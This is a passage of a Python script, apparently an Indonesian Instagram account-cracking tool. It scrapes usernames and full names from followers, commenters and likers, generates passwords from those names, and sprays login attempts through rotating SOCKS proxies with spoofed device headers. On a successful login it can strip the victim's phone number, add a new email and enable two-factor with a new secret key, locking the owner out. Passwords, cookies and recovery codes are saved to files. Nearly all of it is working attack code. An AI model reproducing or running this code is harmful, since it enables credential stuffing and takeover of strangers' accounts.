  368.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  369.                 if 'next_max_id' in str(response):
  370.                     self.Dump_Following(username, cookie, response['next_max_id'])
  371.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  372.            
  373.     def Dump_Komentar(self, username, cookie, max_min):
  374.         with requests.Session() as r:
  375.             try:
  376.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  377.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  378.                 for akun in response['comments']:
  379.                     if akun not in dump:
  380.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  381.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  382.                 if 'next_min_id' in str(response):
  383.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  384.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  385.            
  386.     def Dump_Likers(self, username, cookie, max_min):
  387.         with requests.Session() as r:
  388.             try:
  389.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  390.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  391.                 for akun in response['users']:
  392.                     if akun not in dump:
  393.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  394.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  395.                 if 'next_min_id' in str(response):
  396.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  397.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  398.            
  399.     def Result(self, result, isi):
  400.         if result in ('1','01'):
  401.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  402.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
  403.                 except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
  404.                    
  405.         elif result in ('2','02'):
  406.             for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
  407.                 try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
  408.                 except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
  409.                
  410.         elif result in ('3','03'):
  411.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  412.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
  413.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)  
  414.            
  415.     def Methode(self):
  416.         try:
  417.             self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  418.             self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Ajax[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  419.             Console().print(Columns(self.Meterans))
  420.             Kntl = Console().input("[bold grey50]   ╰─> ")
  421.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Akun [italic green]Ubah Password, Ganti Email, Hapus Nomor, Pasang Two Facktor[italic white] Jika Mendapat Result Ok!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Amankan Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  422.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  423.             if Secure_Akun =='y' or Secure_Akun =='ya':
  424.                 self.amankan_akun.append('ya')
  425.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan [italic green]Useragent Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menggunakan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menggunakan Useragent Manual!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent Manual[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  426.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  427.             if Ua_Akun =='y' or Ua_Akun =='ya':
  428.                 self.uaman.append('ya')
  429.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  430.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  431.                 self.uaku.append(Mugu)
  432.             self.Exec_Password(Kntl)
  433.         except (Exception) as e:
  434.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  435.             exit()    
  436.            
  437.     def Exec_Password(self, Kntl):
  438.         try:
  439.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Username, Nama Depan Dan Belakang [bold green]123,1234\n[bold white][bold green]02[bold white]. Username, Nama Depan Dan Belakang [bold green]123,1234,12345\n[bold white][bold green]03[bold white]. Username, Nama Depan Dan Belakang [bold green]123,1234,12345,123456''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  440.             Password_Akun = Console().input("[bold grey50]   ╰─> ")
  441.             self.Password_Tambah(Kntl, Password_Akun)
  442.         except (Exception) as e:
  443.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  444.             exit()              
  445.            
  446.     def Password_Tambah(self,Kntl, Password_Akun):
  447.         try:
  448.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  449.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  450.             if Zigarete == 'y' or Zigarete =='ya':
  451.                 self.masukan_sandi.append('ya')
  452.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  453.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  454.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  455.                
  456.             else: self.masukan_sandi.append('no')
  457.             self.Exec_Methode(Kntl, Password_Akun)
  458.         except (Exception) as e:
  459.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  460.             exit()    
  461.            
  462.     def Password(self, name):
  463.         self.password = []
  464.         for nama in name.split(' '):
  465.             if len(nama) < 3:
  466.                 continue
  467.             else:
  468.                 for passwords in [f'{nama}123', f'{nama}1234']:
  469.                     if len(passwords) < 6 or str(passwords).isalnum() == False or len(name.split(' ')) > 5:
  470.                         continue
  471.                     else:
  472.                         self.password.append(f'{str(passwords).lower()}')
  473.         for passwords in [f'{name}', f'{name.replace(" ", "")}']:
  474.             if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  475.                 continue
  476.             else:
  477.                 self.password.append(f'{str(passwords).lower()}')
  478.         return (self.password)
  479.        
  480.     def Password_Duo(self, name):
  481.         self.password = []
  482.         for nama in name.split(' '):
  483.             if len(nama) < 3:
  484.                 continue
  485.             else:
  486.                 for passwords in [f'{nama}123', f'{nama}1234', f'{nama}12345']:
  487.                     if len(passwords) < 6 or str(passwords).isalnum() == False or len(name.split(' ')) > 5:
  488.                         continue
  489.                     else:
  490.                         self.password.append(f'{str(passwords).lower()}')
  491.         for passwords in [f'{name}', f'{name.replace(" ", "")}']:
  492.             if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  493.                 continue
  494.             else:
  495.                 self.password.append(f'{str(passwords).lower()}')
  496.         return (self.password)
  497.        
  498.     def Password_Trio(self, name):
  499.         self.password = []
  500.         for nama in name.split(' '):
  501.             if len(nama) < 3:
  502.                 continue
  503.             else:
  504.                 for passwords in [f'{nama}123', f'{nama}1234', f'{nama}12345', f'{nama}123456']:
  505.                     if len(passwords) < 6 or str(passwords).isalnum() == False or len(name.split(' ')) > 5:
  506.                         continue
  507.                     else:
  508.                         self.password.append(f'{str(passwords).lower()}')
  509.         for passwords in [f'{name}', f'{name.replace(" ", "")}']:
  510.             if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  511.                 continue
  512.             else:
  513.                 self.password.append(f'{str(passwords).lower()}')
  514.         return (self.password)
  515.        
  516.     def Simpan_Result(self):
  517.         self.waktu = datetime.datetime.now()
  518.         self.bulan = ['Januari', 'Februari', 'Maret', 'April',  'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
  519.         return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
  520.        
  521.     def Exec_Methode(self, Kntl, xx):
  522.         self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
  523.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di Folder : /sdcard/OK/[bold green]{self.result_ok}\n[bold green]•[bold white] Result [bold red]2F[bold white] Tersimpan Di Folder : /sdcard/2F/[bold red]{self.result_two}\n[bold green]•[bold white] Result [bold yellow]CP[bold white] Tersimpan Di Folder : /sdcard/CP/[bold yellow]{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Instagram[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  524.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  525.         with ThreadPoolExecutor(max_workers=30) as V:
  526.             for Username_And_Fullname in dump:
  527.                 username, fullname = Username_And_Fullname.split('<=>')
  528.                 if xx in ('1'): password = self.Password(fullname)
  529.                 elif xx in ('2'): password = self.Password_Duo(fullname)
  530.                 elif xx in ('3'): password = self.Password_Trio(fullname)
  531.                 else: password = self.Password(fullname)
  532.                 if 'ya' in self.masukan_sandi:
  533.                     for pwd in self.password_manual: password.append(pwd)
  534.                 if Kntl in ('1'): V.submit(self.ExecApi, username,password)
  535.                 elif Kntl in ('2'): V.submit(self.ExecApi_Threads, username,password)
  536.                 elif Kntl in ('3'): V.submit(self.ExecAjax, username,password)
  537.                 elif Kntl in ('4'): V.submit(self.ExecAjax_Threads, username,password)
  538.                 else: V.submit(self.ExecApi, username,password)
  539.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil [bold green]Success[bold white], [bold red]{self.faktor}[bold white] Hasil [bold red]Two Faktor[bold white] Dan [bold yellow]{self.chekpoint}[bold white] Hasil [bold yellow]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] Username, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  540.         exit()
  541.        
  542.     def ExecApi(self, username, password):
  543.         byps = requests.Session()
  544.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  545.         ua_generate = Useragent().useragent_api()
  546.         for passwd in password:
  547.             try:
  548.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  549.                 else: ua_generate
  550.                 hash = hashlib.md5()
  551.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  552.                 hex_ = hash.hexdigest()
  553.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  554.                 curl = byps.get('https://b.i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments": "ig_android_account_switching,ig_android_upsell_fullname,ig_android_one_click_in_old_flow,ig_android_landing_page_fb_button,ig_fbns_push,ig_android_split_username_reg,ig_android_separate_avatar_upload,ig_android_contact_point_triage,ig_fbns_blocked,ig_android_re_enable_login_button,ig_android_phone_tab_on_left"})),'ig_sig_key_version': '4'}, allow_redirects=True)
  555.                 headers = {
  556.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  557.                     'x-ig-app-locale': 'in_ID',
  558.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  559.                     'x-ig-device-locale': 'in_ID',
  560.                     'x-ig-mapped-locale': 'id_ID',
  561.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  562.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  563.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  564.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  565.                     'x-ig-timezone-offset': str(-time.timezone),
  566.                     'x-ig-connection-type': 'MOBILE(LTE)',
  567.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  568.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  569.                     'x-ig-app-id': '567067343352427',
  570.                     'priority': 'u=3,i',
  571.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  572.                     'user-agent': ua_generate,
  573.                     'accept-language': 'id-ID, en-US',
  574.                     'x-bloks-is-layout-rtl': 'false',
  575.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  576.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  577.                     'Host': 'b.i.instagram.com',
  578.                     'x-fb-http-engine': 'Liger',
  579.                     'x-fb-client-ip': 'True',
  580.                     'x-fb-server-cluster': 'True',
  581.                     'x-fb-connection-type': 'MOBILE.LTE',
  582.                     'connection': 'keep-alive',
  583.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  584.                 }
  585.                 payload = json.dumps({
  586.                     'username':username,
  587.                     'phone_id': str(uuid.uuid4()),
  588.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  589.                     'guid': str(uuid.uuid4()),
  590.                     'device_id': f'android-{hash.hexdigest()[:16]}',
  591.                     'login_attempt_count': '0',
  592.                     'enc_password':Requre().enc_password(passwd)
  593.                     }
  594.                 )
  595.                 encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  596.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  597.                 response = byps.post('https://b.i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  598.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  599.                 if 'logged_in_user' in str(response):
  600.                     self.success+=1
  601.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  602.                     except (Exception) as e: cookie = (None)
  603.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  604.                     except (UnboundLocalError) as e: pass
  605.                     if 'ya' in self.amankan_akun:
  606.                         try:
  607.                             num = Require().DeltPhone(cookie)
  608.                             statp, pone = num['Dihapus'], num['Number']
  609.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  610.                             two = Require().Aktifkan2F(cookie)
  611.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  612.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  613.                             Temp = Require().AddMail(cookie)
  614.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  615.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  616.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  617.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  618.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  619.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  620.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Hapus Nomor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Tambah Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  621.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Web Email[bold grey50]) [bold green]<[bold yellow]<[bold red]<", width=61))
  622.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Two Faktor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Secreet Key[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  623.                             truu.add(Panel(f"[bold green]{kode}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold green]Kode Pemulihan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  624.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  625.                             printz(tree)
  626.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  627.                         except Exception as e:
  628.                             print(e)
  629.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  630.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  631.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  632.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  633.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  634.                             printz(tree)
  635.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  636.                     else:
  637.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  638.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  639.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  640.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  641.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  642.                         printz(tree)
  643.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  644.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  645.                         wr.write(save)
  646.                         wr.close()
  647.                     break          
  648.                 elif 'two_factor_required' in str(response):
  649.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  650.                     except (UnboundLocalError) as e: pass
  651.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  652.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  653.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  654.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  655.                     printz(tree)
  656.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  657.                     self.faktor+=1
  658.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  659.                         wr.write(save)
  660.                         wr.close()  
  661.                     break
  662.                 elif 'challenge_required' in str(response):
  663.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  664.                     except (UnboundLocalError) as e: pass
  665.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  666.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  667.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  668.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  669.                     printz(tree)
  670.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  671.                     self.chekpoint+=1
  672.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  673.                         wr.write(save)
  674.                         wr.close()
  675.                     break    
  676.                 elif 'ip_block' in str(response):
  677.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  678.                     time.sleep(3.5)    
  679.                 else: continue  
  680.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
  681.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  682.                 time.sleep(31)
  683.                 self.ExecApi(username, password)
  684.         self.looping+=1
  685.        
  686.     def ExecApi_Threads(self, username, password):
  687.         byps = requests.Session()
  688.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  689.         ua_generate = Useragent().useragent_api()
  690.         for passwd in password:
  691.             try:
  692.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  693.                 else: ua_generate
  694.                 hash = hashlib.md5()
  695.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  696.                 hex_ = hash.hexdigest()
  697.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  698.                 headers = {
  699.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  700.                     'x-ig-app-locale': 'in_ID',
  701.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  702.                     'x-ig-device-locale': 'in_ID',
  703.                     'x-ig-mapped-locale': 'id_ID',
  704.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  705.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  706.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  707.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  708.                     'x-ig-timezone-offset': str(-time.timezone),
  709.                     'x-ig-connection-type': 'MOBILE(LTE)',
  710.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  711.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  712.                     'x-ig-app-id': '567067343352427',
  713.                     'priority': 'u=3,i',
